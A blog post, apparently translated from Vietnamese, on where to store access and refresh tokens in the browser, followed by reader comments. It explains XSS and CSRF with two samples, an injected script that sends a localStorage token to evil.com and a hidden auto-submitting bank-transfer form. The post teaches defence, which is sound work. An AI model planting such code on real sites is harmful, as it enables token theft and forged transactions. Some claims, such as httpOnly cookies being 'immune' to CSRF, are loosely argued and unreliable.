Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2

Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2

Articles in series:
  1. Why do we need Refresh Tokens? Do you know how to securely store Refresh Tokens and Access Tokens in the browser?
  2. Why Do We Need Refresh Token? Do You Know How to Securely Store Refresh Token and Access Token in the Browser? Part 2
Daily short news for you
  • For over a week now, I haven't posted anything, not because I have nothing to write about, but because I'm looking for ways to distribute more valuable content in this rapidly exploding AI era.

    As I shared earlier this year, the number of visitors to my blog is gradually declining. When I looked at the statistics, the number of users in the first six months of 2025 has dropped by 30% compared to the same period last year, and by 15% compared to the last six months of 2024. This indicates a reality that users are gradually leaving. What is the reason for this?

    I think the biggest reason is that user habits have changed. They primarily discover the blog through search engines, with Google being the largest. Almost half of the users return to the blog without going through the search step. This is a positive signal, but it's still not enough to increase the number of new users. Not to mention that now, Google has launched the AI Search Labs feature, which means AI displays summarized content when users search, further reducing the likelihood of users accessing the website. Interestingly, when Search Labs was introduced, English articles have taken over the rankings for the most accessed content.

    My articles are usually very long, sometimes reaching up to 2000 words. Writing such an article takes a lot of time. It's normal for many articles to go unread. I know and accept this because not everyone encounters the issues being discussed. For me, writing is a way to cultivate patience and thoughtfulness. Being able to help someone through my writing is a wonderful thing.

    Therefore, I am thinking of focusing on shorter and medium-length content to be able to write more. Long content will only be used when I want to write in detail or delve deeply into a particular topic. So, I am looking for ways to redesign the blog. Everyone, please stay tuned! 😄

    » Read more
  • CloudFlare has introduced the pay per crawl feature to charge for each time AI "crawls" data from your website. What does that mean 🤔?

    The purpose of SEO is to help search engines see the website. When users search for relevant content, your website appears in the search results. This is almost a win-win situation where Google helps more people discover your site, and in return, Google gets more users.

    Now, the game with AI Agents is different. AI Agents have to actively seek out information sources and conveniently "crawl" your data, then mix it up or do something with it that we can't even know. So this is almost a game that benefits only one side 🤔!?

    CloudFlare's move is to make AI Agents pay for each time they retrieve data from your website. If they don’t pay, then I won’t let them read my data. Something like that. Let’s wait a bit longer and see 🤓.

    » Read more
  • Continuing to update on the lawsuit between the Deno group and Oracle over the name JavaScript: It seems that Deno is at a disadvantage as the court has dismissed the Deno group's complaint. However, in August, they (Oracle) must be held accountable for each reason, acknowledging or denying the allegations presented by the Deno group in the lawsuit.

    JavaScript™ Trademark Update

    » Read more

The Issue

In the previous article, Why is Refresh Token Needed? Do You Know How to Store Refresh Token and Access Token Safely in the Browser? we learned why refresh tokens should be used. The question arises: if the access token is stolen, the chance of the refresh token "vanishing without a trace" is also very high. So what is the point of generating a refresh token when the opportunity to steal both is the same?

To find the answer, many debates have erupted, and there seems to be no end in sight because everyone has valid points. In the role of an audience member sitting in the stands of a stadium, observing the match to synthesize and present the most compelling insights. There is nothing absolute, and it depends on each person's perspective. Therefore, we hope you continue to contribute your opinions in the comments section to improve the article. Returning to this article, let's explore where to store access tokens and refresh tokens in the browser to provide the best security, or at least understand the issue to find a suitable storage location.

Attack Forms Targeting Access Tokens & Refresh Tokens

To find ways to prevent attacks, we first need to understand what attack forms exist targeting access tokens and refresh tokens.

Basically, there are two forms. One is "theft" outright. The other is exploitation to perform actions that the user does not want. Corresponding to these two forms are the attack techniques XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery). Oh, not to mention, there's a more dangerous form known as PAA (Physical Access Attack). This means the attacker directly uses the victim's machine to access and illegally copy user data. Therefore, never take your eyes off your device if it contains important data. However, since PAA is too straightforward, let's focus on the two attack forms XSS and CSRF.

XSS is a common form of attack. The attacker somehow injects a piece of JavaScript code into the server. The server distributes that code to the client. When the client receives and executes the code, the data will be stolen.

For example, a website has a comment feature. Anyone can comment, and others can view those comments. If the website has not prevented XSS, the attacker starts commenting with the content.

<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
</script>

This comment is distributed to others. Immediately, this code is executed, stealing the access_token and sending it to an address https://evil.com/steal.

In contrast, CSRF does not directly steal; it only exploits to force the user to perform unwanted actions.

For example, you have logged into an online banking site bank.com. Theoretically, the access token & refresh token (if any) have been stored in the browser and automatically sent for every subsequent access. The attacker tricks you into visiting their website, which contains malicious code that looks like this.

<form action="https://bank.com/transfer" method="POST" style="display: none;">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="666666">
  <input type="submit">
</form>

<script>
  document.forms[0].submit();
</script>

It is easy to see that this is a piece of code that runs automatically upon access. It sends a transfer request to https://bank.com/transfer. If bank.com does not handle CSRF well, the attacker has successfully completed a money transfer because clearly, the browser recognizes a request sent to https://bank.com and immediately sends the valid access token.

CSRF can be prevented by setting SameSite=Strict or SameSite=Lax in cookies. However, not every website is suitable for these two modes. In other words, it is necessary to be cautious of potential hidden risks that are not easily noticeable.

Where to Store Access Token and Refresh Token?

Looking back in the browser, there are storage locations such as:

  • Cookies
  • SessionStorage
  • LocalStorage
  • IndexedDB
  • Some browsers even support Web SQL Database - a form of SQL relational database.
  • JavaScript Variables

Therefore, let's analyze what happens if we store access tokens and refresh tokens in Cookies? If both are stored in Cookies, they will automatically be attached to every request to the server. This is unnecessary and somewhat redundant because not every request requires a refresh token. Additionally, storing both in Cookies carries a high risk of XSS and CSRF attacks. If the website is unfortunately attacked by XSS, the attacker can easily obtain the access token & refresh token.

Storing the access token or refresh token in SessionStorage, LocalStorage, IndexedDB, Web SQL... can prevent CSRF since requests do not automatically attach access tokens. However, there remains the concern of XSS. If a simple piece of JavaScript code is injected, the user data can vanish without a trace. It is evident that the crux of the issue is that attackers exploit JavaScript code to steal, so is there a place in the browser that JavaScript cannot access?

Fortunately, there is. In Cookies, there is a type of value called httpOnly - where JavaScript cannot access. Suppose the website is attacked by XSS; the attacker still cannot obtain the access code. httpOnly has all the characteristics of a normal cookie value. So does storing both in Cookies as httpOnly make it safe? Hmm... Not necessarily. Because at this point, we return to the issue of being vulnerable to CSRF attacks.

At this point, readers can realize that storing the refresh token in Cookies as httpOnly is immune to CSRF attacks. Because CSRF primarily targets the access token to gain user access, while the refresh token cannot do this. Furthermore, using the refresh token to request a new access token only occurs at a certain endpoint. Just set the Cookies to apply at that API, and you solve the problem of redundancy in each query. It is indeed a perfect choice. The issue now is to find a suitable location for the access token.

In practice, the access token only has the option of being stored in SessionStorage, LocalStorage, IndexedDB, Web SQL... to avoid CSRF attacks; the only remaining concern is XSS. Conversely, if stored in Cookies, the concern shifts back to CSRF. In summary, there is no solution that is absolutely safe. Perhaps at this point, we need to focus on preventing XSS and CSRF more than where to store them.

Additionally, there is still one place that has not been mentioned until now: in JavaScript variables. Storing the access token in a JavaScript variable does not guarantee safety against XSS but offers more benefits compared to SessionStorage, LocalStorage... mentioned above. The access token only exists during the lifecycle of the current page. When the user reloads the page or closes the website, the access token is also lost. The attacker can only steal it if they inject malicious code during the user's session and know exactly which variable contains the access token data.

Conclusion

There are two common forms of attacks targeting access tokens and refresh tokens: XSS and CSRF. While XSS exploits the injection of malicious JavaScript code to steal data, CSRF takes advantage of performing actions that the user does not want. To prevent XSS, the best approach is to store the refresh token in Cookies in httpOnly state. The access token should be stored in a JavaScript variable to eliminate CSRF attacks and minimize concerns about XSS.

Premium
Hello

5 profound lessons

Every product comes with stories. The success of others is an inspiration for many to follow. 5 lessons learned have changed me forever. How about you? Click now!

Every product comes with stories. The success of others is an inspiration for many to follow. 5 lessons learned have changed me forever. How about you? Click now!

View all

Subscribe to receive new article notifications

or
* The summary newsletter is sent every 1-2 weeks, cancel anytime.

Comments (4)

Leave a comment...
Avatar
Nguyen Danh11 months ago

PA2 - Lưu trữ cả hai trong httpOnly cookie -> dễ bị CSRF nhưng có thể tránh được.PA3 - Chỉ lưu trữ Refresh Token trong httpOnly cookie -> an toàn khỏi CSRF.

Vì sao đều lưu ở httpOnly cookie nhưng PA2 thì dễ bị CSRF còn PA3 thì an toàn ???

Reply
Avatar
Trần Ngọc Hải2 years ago

Thật ra ko thể tránh khỏi việc dữ liệu bị đánh cắp cốt là cách xử lý sau khi bị đánh cắp như thế nào cho giảm thiểu tối đa rủi ro

Reply
Avatar
Nguyễn Văn Nhật2 years ago

M có đọc được lời khuyên là nên lưu vào bộ nhớ ứng dụng ví dụ như reduce hoặc một biến nào đó khởi tạo trong ứng dụng. Ví dụ như là const token = 'xxx'

Reply
Avatar
Xuân Hoài Tống2 years ago

Ý bạn là redux? Đúng vậy bạn có thể lưu lại AT hoặc RT vào đó nhưng nếu reload lại page thì sẽ bị mất và người dùng phải đăng nhập lại

Avatar
Nguyễn Văn Nhật2 years ago

Trước khi reload mình sẽ lưu lại vào localStorage, nó giống như kiểu hiện 1 alert khi bấm vào reload vậy

Avatar
Xuân Hoài Tống2 years ago

Người dùng vẫn có thể đột ngột tắt trình duyệt hoặc hệ điều hành cũng có quyền kết thúc tiến trình thế nên bạn sẽ không kịp lưu lại được

Avatar
Long Domi2 years ago

H mới chịu ra cơ mà e muốn hỏi chổ CSRF kia là ntn ạ hơi khó hiểu

Reply
Avatar
Vũ Mạnh Đức2 years ago

CSRF là một cuộc tấn công giả mạo người dùng, bạn có thể đọc thêm trên google hoặc https://developer.mozilla.org/en-US/docs/Glossary/CSRF. Đại loại là kẻ tấn công lợi dụng chính những request từ máy bạn để vượt qua được xác thực (bởi vì các request được gửi từ máy bạn) để thực hiện hành vi yêu cầu quyền xác thực. Những hành vi đó có thể gây nguy hiểm như đổi mật khẩu, đổi email...

Avatar
Long Domi2 years ago

Thanks a e sẽ nghiên cứu ạ

Avatar
Long Domi2 years ago

@gif [tfUW8mhiFk8NlJhgEh] Trả lời bình luận có cả email luôn ghê thật